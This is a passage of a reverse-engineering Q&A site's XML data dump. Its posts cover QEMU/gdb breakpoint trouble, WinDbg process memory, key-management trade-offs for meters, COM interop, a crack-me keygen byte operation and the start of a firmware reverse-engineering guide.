  <row Id="15015" PostTypeId="1" CreationDate="2017-03-26T00:23:58.573" Score="5" ViewCount="1340" Body="&lt;p&gt;I am having a problem using a statically compiled QEMU arm version. I am trying to debug an application from an embedded device. Everything seems to work fine except breakpoints on other threads. I am using IDAs remote gdb function to debug. Instead of breaking here &lt;a href=&quot;https://i.stack.imgur.com/YtC8p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtC8p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it gives me a SIGTRAP and goes to here &lt;a href=&quot;https://i.stack.imgur.com/qfLH2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qfLH2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Using hardware breakpoints also doesn't do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The problem doesn't seem to be IDA itself.&#xA;I was using qemu-arm-static version 2.0.0. IDA seems to have the bug I mentioned above. Using commandline gdb-multiarch to try and debug it I get the following error after hitting the breakpoint:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program received signal SIGTRAP, Trace/breakpoint trap.&#xA;0xf67c523c in ?? ()&#xA;(gdb) info registers&#xA;/build/buildd/gdb-7.7.1/gdb/findvar.c:292: internal-error: value_of_register_lazy: Assertion `frame_id_p (get_frame_id (frame))' failed.&#xA;A problem internal to GDB has been detected,&#xA;further debugging may prove unreliable.&#xA;Quit this debugging session? (y or n) y&#xA;&#xA;/build/buildd/gdb-7.7.1/gdb/findvar.c:292: internal-error: value_of_register_lazy: Assertion `frame_id_p (get_frame_id (frame))' failed.&#xA;A problem internal to GDB has been detected,&#xA;further debugging may prove unreliable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens with the 2.0.0 qemu version as well as the 2.8.0 version I got from &lt;a href=&quot;https://github.com/multiarch/qemu-user-static/releases/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19494" LastEditorUserId="19494" LastEditDate="2017-03-30T19:12:41.343" LastActivityDate="2017-12-04T22:09:02.113" Title="QEMU gdb server thread problem" Tags="|ida|gdb|arm|qemu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15016" PostTypeId="2" ParentId="15013" CreationDate="2017-03-26T04:25:28.630" Score="1" Body="&lt;p&gt;The tool author answered my question on github : Here is the solution &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can do event.get_process().get_filename(), or if we want to be more fancy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;process = event.get_process()&#xA;name = process.get_filename()&#xA;print &quot;Process: %s&quot; % name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2017-03-26T04:25:28.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15017" PostTypeId="1" AcceptedAnswerId="15029" CreationDate="2017-03-26T09:19:44.387" Score="2" ViewCount="5178" Body="&lt;p&gt;I'm looking for the start address of where &lt;code&gt;myfile.exe&lt;/code&gt; mapped into memory using &lt;code&gt;Windbg&lt;/code&gt;.&#xA;For this I connected to a VMWare for kernel debugging through serial port, after that I run &lt;code&gt;myfile.exe&lt;/code&gt; in guest machine and attach to it from guest machine by &lt;code&gt;ollydbg&lt;/code&gt; to see any editing that made in kernel debugging takes place in &lt;code&gt;myfile.exe&lt;/code&gt; then break the &lt;code&gt;Windbg&lt;/code&gt; to edit memory from host machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I use the following command to get all the processes to see where can I find &lt;code&gt;myfile.exe&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; kd&amp;gt; !process 0 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it gives me a long list of processes where I can finally find &lt;code&gt;myfile.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PROCESS ffffe001f9652080&#xA;    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588&#xA;    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: &amp;lt;Data Not Accessible&amp;gt;&#xA;    Image: myfile.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for more details about this process I run :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; kd&amp;gt; !process ffffe001f9652080 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it gives me :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    1: kd&amp;gt; !process ffffe001f9652080 7&#xA;PROCESS ffffe001f9652080&#xA;    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588&#xA;    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: &amp;lt;Data Not Accessible&amp;gt;&#xA;    Image: myfile.exe&#xA;    VadRoot ffffe001f64dda10 Vads 129 Clone 0 Private 5676. Modified 520. Locked 0.&#xA;    DeviceMap ffffc0013dff8c30&#xA;    Token                             ffffc0014336a8e0&#xA;    ElapsedTime                       00:08:14.197&#xA;    UserTime                          00:00:00.046&#xA;    KernelTime                        00:00:00.125&#xA;    QuotaPoolUsage[PagedPool]         231392&#xA;    QuotaPoolUsage[NonPagedPool]      17632&#xA;    Working Set Sizes (now,min,max)  (11793, 50, 345) (47172KB, 200KB, 1380KB)&#xA;    PeakWorkingSetSize                13859&#xA;    VirtualSize                       148 Mb&#xA;    PeakVirtualSize                   159 Mb&#xA;    PageFaultCount                    24764&#xA;    MemoryPriority                    BACKGROUND&#xA;    BasePriority                      8&#xA;    CommitCharge                      6195&#xA;    DebugPort                         ffffe001fa6f0f90&#xA;    Job                               ffffe001f8544620&#xA;    THREAD ffffe001fa713440  Cid 0da4.10a4  Teb: 000000007ffdb000 Win32Thread: ffffe001f6822cb0 WAIT: (WrUserRequest) UserMode Non-Alertable&#xA;        ffffe001fa4bbb90  SynchronizationEvent&#xA;    Not impersonating&#xA;    DeviceMap                 ffffc0013dff8c30&#xA;    Owning Process            ffffe001f9652080       Image:         myfile.exe&#xA;    Attached Process          N/A            Image:         N/A&#xA;    Wait Start TickCount      56653          Ticks: 2 (0:00:00:00.031)&#xA;    Context Switch Count      11053          IdealProcessor: 2             &#xA;    UserTime                  00:00:01.125&#xA;    KernelTime                00:00:00.781&#xA;    Win32 Start Address 0x000000000044aa31&#xA;    Stack Init ffffd00025d59c90 Current ffffd00025d59480&#xA;    Base ffffd00025d5a000 Limit ffffd00025d54000 Call 0&#xA;    Priority 10 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5&#xA;&#xA;    Child-SP          RetAddr           : Args to Child                                                           : Call Site&#xA;    ffffd000`25d594c0 fffff802`a1c92130 : ffffe001`f805e0c0 fffff961`00000000 ffffe001`fa713440 fffff802`a1c8ee76 : nt!KiSwapContext+0x76&#xA;    ffffd000`25d59600 fffff802`a1c91b48 : 00000000`00000000 00000000`00010001 00000000`00000000 00000000`00000000 : nt!KiSwapThread+0x160&#xA;    ffffd000`25d596b0 fffff802`a1c9120d : 00000000`00000000 00000000`00000000 ffffd000`25d59900 00000000`00000000 : nt!KiCommitThreadWait+0x148&#xA;    ffffd000`25d59740 fffff961`00c95dc5 : fffff901`00000000 ffffd000`25d598a0 fffff901`423edb20 fffff901`0000000d : nt!KeWaitForMultipleObjects+0x3fd&#xA;    ffffd000`25d59800 fffff961`00c959f8 : fffff901`423edb20 fffff901`423edb20 00000000`00003dff fffff961`00c958a3 : win32kfull!xxxRealSleepThread+0x355&#xA;    ffffd000`25d598f0 fffff961`00c94ba0 : ffffd000`25d59b80 00000000`00000000 fffff901`423edb20 00000000`00000000 : win32kfull!xxxSleepThread2+0x98&#xA;    ffffd000`25d59940 fffff961`00c93fc0 : ffffd000`25d59ab8 ffffd000`25d5c240 00000000`00000000 00000000`ffffffff : win32kfull!xxxRealInternalGetMessage+0xb70&#xA;    ffffd000`25d59a70 fffff802`a1dd2a63 : ffffe001`fa713440 00000000`570a8480 00000000`00000020 00000000`00000000 : win32kfull!NtUserGetMessage+0x90&#xA;    ffffd000`25d59b00 00000000`570b344a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`25d59b00)&#xA;    00000000`0009e6b8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x570b344a&#xA;&#xA;    THREAD ffffe001fab05840  Cid 0da4.11ac  Teb: 000000007fe9e000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable&#xA;        ffffe001f6741d40  QueueObject&#xA;    Not impersonating&#xA;    DeviceMap                 ffffc0013dff8c30&#xA;    Owning Process            ffffe001f9652080       Image:         myfile.exe&#xA;    Attached Process          N/A            Image:         N/A&#xA;    Wait Start TickCount      51667          Ticks: 4988 (0:00:01:17.937)&#xA;    Context Switch Count      34             IdealProcessor: 2             &#xA;    UserTime                  00:00:00.000&#xA;    KernelTime                00:00:00.015&#xA;    Win32 Start Address 0x0000000077e54630&#xA;    Stack Init ffffd000203cfc90 Current ffffd000203cf420&#xA;    Base ffffd000203d0000 Limit ffffd000203ca000 Call 0&#xA;    Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5&#xA;    Child-SP          RetAddr           : Args to Child                                                           : Call Site&#xA;    ffffd000`203cf460 fffff802`a1c92130 : 0000ffff`00000000 00000000`00000001 ffffe001`fab05980 ffffe001`fab05940 : nt!KiSwapContext+0x76&#xA;    ffffd000`203cf5a0 fffff802`a1c91b48 : 00000000`743af562 00000000`00000030 00000000`00000000 ffffe001`f9652578 : nt!KiSwapThread+0x160&#xA;    ffffd000`203cf650 fffff802`a1c907a5 : 00000000`69f79021 00000000`00000010 fffffa80`013de6b0 fffffa80`0127b690 : nt!KiCommitThreadWait+0x148&#xA;    ffffd000`203cf6e0 fffff802`a1c90382 : ffffe001`f6741d40 00000000`00000000 00000000`00000001 00000000`00000000 : nt!KeRemoveQueueEx+0x215&#xA;    ffffd000`203cf750 fffff802`a1c8fd43 : fffff680`003a1d78 ffffe001`f9652578 ffffd000`203cfa00 00000000`00000000 : nt!IoRemoveIoCompletion+0x82&#xA;    ffffd000`203cf870 fffff802`a1dd2a63 : fffff6fb`40001d08 fffff680`003a1d78 ffff504a`eece1c5c 00000000`00000000 : nt!NtWaitForWorkViaWorkerFactory+0x303&#xA;    ffffd000`203cfa90 00007ff9`eeab538a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`203cfb00)&#xA;    00000000`049eea78 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtWaitForWorkViaWorkerFactory+0xa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I note that there is 2 stacks for 2 threads as I see in Olly previously.&#xA;as you can see :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Stack Init ffffd00025d59c90 Current ffffd00025d59480&#xA;    Stack Init ffffd000203cfc90 Current ffffd000203cf420&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I imagine that I am at the process Virtual Address so I run the debuggee &lt;code&gt;(press g)&lt;/code&gt; and edit both start and end of stacks via Olly in guest machine.&#xA;Then break the guest machine again and do a &lt;code&gt;dc&lt;/code&gt; to see the memories in that regions like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dc ffffd00025d59c90 &#xA;    dc ffffd000203cfc90 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I cannot see any changes (that I made in Stacks by Olly) !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I get the address where &lt;code&gt;myfile.exe&lt;/code&gt; mapped in memory (From Windbg in host machine) ?&lt;/li&gt;&#xA;&lt;li&gt;What's wrong that I cannot see the changes that I made in olly in Windbg ?(I think Windbg gives me wrong information about &lt;code&gt;Stack Init&lt;/code&gt;.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt; myfile.exe is a 32-bit program that runs under a 64-bit Windows 10 gust machine and the host machine is also a 64-bit Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt; : I edit the content of stack in olly. Both start of stack and end of stack.&lt;/p&gt;&#xA;" OwnerUserId="17612" LastEditorUserId="17612" LastEditDate="2017-03-27T07:45:08.373" LastActivityDate="2017-03-27T18:49:41.067" Title="Get address of where process mapped in Windbg" Tags="|windows|ollydbg|windbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15018" PostTypeId="2" ParentId="14759" CreationDate="2017-03-26T14:28:50.240" Score="1" Body="&lt;p&gt;I can see a few &quot;types&quot; of keys used here, I'll list each with it's pros and cons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hard-coded symmetric key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Pros)&lt;/em&gt; Hard-coded key is the easiest to implement. You don't need to worry about storing, loading or replacing keys. You don't need to worry about key distribution in the field and you do need to worry about key duration and multiple keys on the receiving end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cons)&lt;/em&gt; Once a single key is extracted from a meter, everything can be easily decrypted. Because meters are spread, left alone and aren't reasonably protected this can easily happen if someone is interested in getting those keys, however since the risks and damaged are probably not properly evaluated, this might very well be the case in many such devices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Key derived from hardware configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Pros)&lt;/em&gt; It is no longer get-one-real-all, and still quite easy to implement on both the receiving and transmitting ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cons)&lt;/em&gt; It is still quite easy to generate a key per device given the hardware configuration, and brute-forcing the hardware configuration values might be possible (especially when reading all devices' traffic is desired).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Single whole-deployment replaceable symmetric key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Pros)&lt;/em&gt; Once a key is known to have been exposed, it is possible (although not quite a simple task) to replace it with a new key. This enables mitigating key leaks in case they get too serious, at the cost of a big logistic operation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cons)&lt;/em&gt; Since replacing keys for the entire network is a difficult logistic task, this won't be used too often in real-live scenarios. Additionally, the extra effort of maintaining a key update mechanism is required regardless of it ever being used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Per-device independent of hardware symmetric key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Pros)&lt;/em&gt; This guarantees complete protection between different meters, and increases the burden of retrieving the key for any meter an attacker is interested in reading. It also makes it possible to change individual keys with no added infrastructure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cons)&lt;/em&gt; Maintaining a record for all available keys (and their appropriate meters) just became a big burden, both development-wise and logistics-wise. The receiver now needs to keep a database of all keys and be able to fetch the correct key for the right meter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Asymmetric key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Pros)&lt;/em&gt; Because of the nature of asymmetric cryptography, this makes it impossible to decrypt future or past messages even after gaining access to keys and code inside a meter, while every meter with the key can encrypt messages, only the receiver can decrypt them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Cons)&lt;/em&gt; While this is probably the best encryption model for such a scenario, it is the most complex to implement and manage, and has a lot of ceavets that might render the encryption useless if used incorrectly. It also tends to be relatively slow to encrypt or decrpyt, unless symmetric encryption is used as part of the model (which complicates this even further).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The ones I would assume are most likely to be used in the scenario you describe are either 1 or 2, as security is rarely a consideration for those type of embedded devices today, let alone 10-20 years ago. I made this list more general then necessary in hopes it'll be useful for future readers.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-26T14:28:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15020" PostTypeId="1" CreationDate="2017-03-26T18:45:24.427" Score="2" ViewCount="352" Body="&lt;p&gt;I have managed assembly that calls COM interface methods. I am interested in &lt;code&gt;IManager&lt;/code&gt; interface, here is the code from &lt;code&gt;NET Reflector&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Lib&#xA;{&#xA;     [ComImport, CompilerGenerated, CoClass(typeof(object)), Guid(&quot;5D3D2B5F-1AD8-48F7-BC63-DFF7E6BED182&quot;), TypeIdentifier]&#xA;    public interface Service : IService&#xA;&#xA;     [ComImport, CompilerGenerated, Guid(&quot;1A5BCF9B-039D-4422-9380-274D98D27265&quot;), TypeIdentifier]&#xA;    public interface IManager&#xA;&#xA;    // another interfaces...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I understand assembly should contain reference to another assembly that contains metadata required to call COM interface methods at runtime. However there is no referenced assembly with name that would indicate possible COM metadata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have interface GUID, now I believe I need to obtain GUID for COM object itself and code small C++ program that will use &lt;code&gt;CoCreateInstance&lt;/code&gt; and &lt;code&gt;QueryInterface&lt;/code&gt;. After that I will be able to make call trough virtual table without providing full interface definition. Than we load our program in IDA and follow the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not very familiar with COM, is it technically possible to achieve? How can I get GUID for COM object itself? (I will use it in &lt;code&gt;CoCreateInstance&lt;/code&gt;) Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19668" LastActivityDate="2017-03-26T18:45:24.427" Title="COM interface call from managed code" Tags="|c#|com|interoperability|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15022" PostTypeId="1" AcceptedAnswerId="15023" CreationDate="2017-03-26T20:24:52.663" Score="0" ViewCount="1007" Body="&lt;p&gt;I'm writing a keygen for a crack-me exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a problem with handling byte assignments the crack-me performs several times using instructions like &lt;code&gt;MOV AL,BYTE PTR DS:[ESI]&lt;/code&gt; (move byte from location to AL) to change &lt;code&gt;EAX&lt;/code&gt; for example from &lt;code&gt;000096BA&lt;/code&gt; to &lt;code&gt;00009662&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crack-me overflows &lt;code&gt;EAX&lt;/code&gt; value several times so to calculate the key I use an &lt;code&gt;unsigned int&lt;/code&gt; in my C program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that I do not know how I can replace a single byte value in &lt;code&gt;unsigned int&lt;/code&gt; example from &lt;code&gt;0x38586d&lt;/code&gt; to &lt;code&gt;0x38498d&lt;/code&gt;, changing the second byte only.&lt;/p&gt;&#xA;" OwnerUserId="19373" LastEditorUserId="2147" LastEditDate="2017-03-27T16:11:09.643" LastActivityDate="2017-03-27T16:11:09.643" Title="c++ version of MOV AL,BYTE PTR DS:[ESI]" Tags="|c++|c|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15023" PostTypeId="2" ParentId="15022" CreationDate="2017-03-26T20:32:31.143" Score="1" Body="&lt;pre&gt;&lt;code&gt;int eax;&#xA;char * esi;&#xA;*((char *) &amp;amp;eax) = *esi;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19669" LastActivityDate="2017-03-26T20:32:31.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15024" PostTypeId="1" AcceptedAnswerId="15026" CreationDate="2017-03-26T22:24:23.150" Score="0" ViewCount="1568" Body="&lt;p&gt;How can I break right when the program I am debugging quits? I don't know how to even locate the relevant code.&lt;/p&gt;&#xA;" OwnerUserId="18473" LastActivityDate="2017-03-27T02:50:36.200" Title="ollydbg: how to set a breakpoint at program exit?" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15025" PostTypeId="2" ParentId="15006" CreationDate="2017-03-26T23:00:46.537" Score="35" Body="&lt;h3&gt;General Prerequisites&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When analyzing binaries, it is important to be able to put what is observed into context. For example, how can CPU instructions be differentiated from data in a binary with a non-standard format? This requires some background knowledge of computer systems in general. I would argue that before any attempt at reverse engineering firmware is made, at least basic familiarity with the following concepts is required:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Computer architecture / computer system organization&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU design and function (e.g. registers, the instruction pointer, memory access)&lt;/li&gt;&#xA;&lt;li&gt;memory and the memory hierarchy &lt;/li&gt;&#xA;&lt;li&gt;instruction sets, assembly, opcodes, addressing modes, syntax, mnemonics&lt;/li&gt;&#xA;&lt;li&gt;information representation (binary, hex, endianness)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Operating system concepts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Virtual memory&lt;/li&gt;&#xA;&lt;li&gt;usermode vs kernelmode, the kernel, the kernel interface (system calls)&lt;/li&gt;&#xA;&lt;li&gt;process layout in memory - stack, heap, data, instructions&lt;/li&gt;&#xA;&lt;li&gt;executable formats&lt;/li&gt;&#xA;&lt;li&gt;application binary interfaces&lt;/li&gt;&#xA;&lt;li&gt;program entry points&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;source code to object code transformation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compilation, assembly, linking&lt;/li&gt;&#xA;&lt;li&gt;C/C++ programming&lt;/li&gt;&#xA;&lt;li&gt;Assembly programming&lt;/li&gt;&#xA;&lt;li&gt;source-to-assembly construct correlation (e.g. recognition of loop, switch constructs in assembly)&lt;/li&gt;&#xA;&lt;li&gt;disassembly vs decompilation&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My advice is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read as much as you can: technical specifications, assembly/disassembly, answers to firmware RE questions, research papers, tutorials, blogs, textbooks, manual pages&lt;/li&gt;&#xA;&lt;li&gt;emulate/copy the methodologies employed and approaches taken by pros&lt;/li&gt;&#xA;&lt;li&gt;gain experience as quickly as possible: look at and experiment with many different types of files (executables, image files, compressed files, firmware, etc.), program in assembly to get a feel for it, disassemble many executables&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Firmware RE Resources&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;http://hexblog.com/files/recon%202010%20Skochinsky.pdf&quot; rel=&quot;noreferrer&quot;&gt;Intro to Embedded Reverse Engineering &#xA;for PC reversers&lt;/a&gt;&quot; by Igor Skochinsky provides an overview of what is involved in reversing firmware, and in &quot;&lt;a href=&quot;https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf&quot; rel=&quot;noreferrer&quot;&gt;Embedded Devices Security: Firmware Reverse Engineering&lt;/a&gt;&quot; Jonas Zaddach and Andrei Costin outline a general methodology for reversing firmware beginning on slide 31.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at answers given by pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1408/devttys0?tab=answers&quot;&gt;devttys0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/12325/ebux?tab=answers&quot;&gt;ebux&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/60/igor-skochinsky?tab=answers&quot;&gt;Igor Skochinsky&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/4212/6equj5?tab=answers&quot;&gt;6EQUJ5&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These may be useful or interesting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/blog/&quot; rel=&quot;noreferrer&quot;&gt;devttys0's blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ea.github.io/&quot; rel=&quot;noreferrer&quot;&gt;ea's blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://igorsk.blogspot.com/&quot; rel=&quot;noreferrer&quot;&gt;Igor's blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://firmware.re/&quot; rel=&quot;noreferrer&quot;&gt;firmware.re&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.ioactive.com/&quot; rel=&quot;noreferrer&quot;&gt;IOActive Labs Research blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sviehb.wordpress.com/&quot; rel=&quot;noreferrer&quot;&gt;sviehb's blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embedded systems often use MIPS or ARM processors, and by extension MIPS or ARM instruction sets. This means that being familiar with MIPS and ARM assembly will be very helpful when analyzing firmware for these systems.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Analyzing the binary&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Part 1: Identification of the target device's architecture&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We cannot rely on hearsay to obtain the information required to analyze the firmware. Validity of information about the firmware must be proven by using empirical evidence. It is not enough to have a binary blob from a second-hand source and a processor name from a different question.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1. Identify the target device&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Fortunately in this case it is easy to at least get the device name: SMOK X Cube II. When the vendor's &lt;a href=&quot;http://www.smoktech.com/support/upgrade/toolsandfirmware&quot; rel=&quot;noreferrer&quot;&gt;firmware and tools support page&lt;/a&gt; is examined it turns out that there is a real device with that name. The .hex file is bundled with an upgrade tool from &lt;a href=&quot;http://www.nuvoton.com/hq/?__locale=en&quot; rel=&quot;noreferrer&quot;&gt;Taiwanese semiconductor manufacturer Nuvoton&lt;/a&gt; called &quot;&lt;a href=&quot;http://www.smoktech.com/support/upgrade/toolsandfirmware/ispxcubeii&quot; rel=&quot;noreferrer&quot;&gt;NuMicro ISP Programming Tool&lt;/a&gt;&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/firmware/e-cig/XCUBE II upgrading tool $ file *&#xA;config.ini:                                            ASCII text, with CRLF line terminators&#xA;NuMicro ISP Programming Tool.exe:                      PE32 executable (GUI) Intel 80386, for MS Windows&#xA;NuMicro ISP Programming Tool User's Guide.pdf:         PDF document, version 1.5&#xA;XCUBE II-VIVI-52 (160616)V.1.098(checksum=0x28F9).hex: ASCII text, with CRLF line terminators&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hex file is straight from the manufacturer of the device processor rather than from a second-hand source. It is also a newer version - v1.098 rather than v1.07. I decided to analyze the older firmware version (v1.07) since this is the version of the binary in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zKRh9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zKRh9.png&quot; alt=&quot;Upgrade tool pic 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Identify the processor&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There are some interesting things in the pictures used to describe the upgrade process: the name &lt;strong&gt;NuMicro&lt;/strong&gt; and the acronym &lt;strong&gt;ISP&lt;/strong&gt; in the tool name, the term &lt;strong&gt;DataFlash&lt;/strong&gt;,  a reference to something called &lt;strong&gt;APROM&lt;/strong&gt;, and most importantly, the part number: &lt;strong&gt;NUC220LE3AN&lt;/strong&gt;. What &quot;part&quot; is this 